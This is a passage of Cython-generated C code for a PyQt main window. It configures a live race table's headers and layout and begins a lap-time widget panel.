PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_5, __pyx_v_item}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 742, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_5, __pyx_v_item}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 742, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 742, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_5); __Pyx_GIVEREF(__pyx_int_5); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_int_5); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_v_item); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 742, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":743 * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(5, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * self.R_RaceLive.setHorizontalHeaderItem(6, item) * self.R_RaceLive.horizontalHeader().setDefaultSectionSize(100) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 743, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 743, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 743, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 743, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":744 * self.R_RaceLive.setHorizontalHeaderItem(5, item) * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(6, item) # <<<<<<<<<<<<<< * self.R_RaceLive.horizontalHeader().setDefaultSectionSize(100) * self.R_RaceLive.horizontalHeader().setSortIndicatorShown(False) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 744, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 744, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_6, __pyx_v_item}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 744, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_6, __pyx_v_item}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 744, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif { __pyx_t_1 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 744, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_6); __Pyx_GIVEREF(__pyx_int_6); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_6); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_v_item); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 744, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":745 * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(6, item) * self.R_RaceLive.horizontalHeader().setDefaultSectionSize(100) # <<<<<<<<<<<<<< * self.R_RaceLive.horizontalHeader().setSortIndicatorShown(False) * self.R_RaceLive.horizontalHeader().setStretchLastSection(False) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 745, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_horizontalHeader); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 745, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 745, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 745, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setDefaultSectionSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 745, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__473, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 745, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":746 * self.R_RaceLive.setHorizontalHeaderItem(6, item) * self.R_RaceLive.horizontalHeader().setDefaultSectionSize(100) * self.R_RaceLive.horizontalHeader().setSortIndicatorShown(False) # <<<<<<<<<<<<<< * self.R_RaceLive.horizontalHeader().setStretchLastSection(False) * self.R_RaceLive.verticalHeader().setDefaultSectionSize(15) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 746, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeader); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 746, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_1) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 746, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 746, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setSortIndicatorShown); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 746, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__474, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 746, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":747 * self.R_RaceLive.horizontalHeader().setDefaultSectionSize(100) * self.R_RaceLive.horizontalHeader().setSortIndicatorShown(False) * self.R_RaceLive.horizontalHeader().setStretchLastSection(False) # <<<<<<<<<<<<<< * self.R_RaceLive.verticalHeader().setDefaultSectionSize(15) * self.R_RaceLive.verticalHeader().setStretchLastSection(False) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 747, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_horizontalHeader); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 747, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 747, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 747, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setStretchLastSection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 747, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__475, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 747, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":748 * self.R_RaceLive.horizontalHeader().setSortIndicatorShown(False) * self.R_RaceLive.horizontalHeader().setStretchLastSection(False) * self.R_RaceLive.verticalHeader().setDefaultSectionSize(15) # <<<<<<<<<<<<<< * self.R_RaceLive.verticalHeader().setStretchLastSection(False) * self.verticalLayout_P_Race.addWidget(self.R_RaceLive) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 748, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_verticalHeader); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 748, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_1) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 748, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 748, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setDefaultSectionSize); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 748, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__476, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 748, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":749 * self.R_RaceLive.horizontalHeader().setStretchLastSection(False) * self.R_RaceLive.verticalHeader().setDefaultSectionSize(15) * self.R_RaceLive.verticalHeader().setStretchLastSection(False) # <<<<<<<<<<<<<< * self.verticalLayout_P_Race.addWidget(self.R_RaceLive) * self.toolBox.addItem(self.P_Race, "") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 749, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_verticalHeader); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 749, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 749, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 749, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setStretchLastSection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 749, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__477, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 749, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":750 * self.R_RaceLive.verticalHeader().setDefaultSectionSize(15) * self.R_RaceLive.verticalHeader().setStretchLastSection(False) * self.verticalLayout_P_Race.addWidget(self.R_RaceLive) # <<<<<<<<<<<<<< * self.toolBox.addItem(self.P_Race, "") * self.P_Laptime = QtWidgets.QWidget() */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout_P_Race); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 750, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 750, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 750, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 750, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 750, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 750, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 750, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_7, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 750, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":751 * self.R_RaceLive.verticalHeader().setStretchLastSection(False) * self.verticalLayout_P_Race.addWidget(self.R_RaceLive) * self.toolBox.addItem(self.P_Race, "") # <<<<<<<<<<<<<< * self.P_Laptime = QtWidgets.QWidget() * self.P_Laptime.setGeometry(QtCore.QRect(0, 0, 821, 477)) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 751, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_addItem); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 751, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Race); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 751, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_t_3, __pyx_kp_u__9}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 751, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_t_3, __pyx_kp_u__9}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 751, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 751, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_t_3); __Pyx_INCREF(__pyx_kp_u__9); __Pyx_GIVEREF(__pyx_kp_u__9); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_kp_u__9); __pyx_t_3 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_4, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 751, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":752 * self.verticalLayout_P_Race.addWidget(self.R_RaceLive) * self.toolBox.addItem(self.P_Race, "") * self.P_Laptime = QtWidgets.QWidget() # <<<<<<<<<<<<<< * self.P_Laptime.setGeometry(QtCore.QRect(0, 0, 821, 477)) * self.P_Laptime.setObjectName("P_Laptime") */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 752, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 752, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_7) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 752, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 752, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_P_Laptime, __pyx_t_6) < 0) __PYX_ERR(0, 752, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":753 * self.toolBox.addItem(self.P_Race, "") * self.P_Laptime = QtWidgets.QWidget() * self.P_Laptime.setGeometry(QtCore.QRect(0, 0, 821, 477)) # 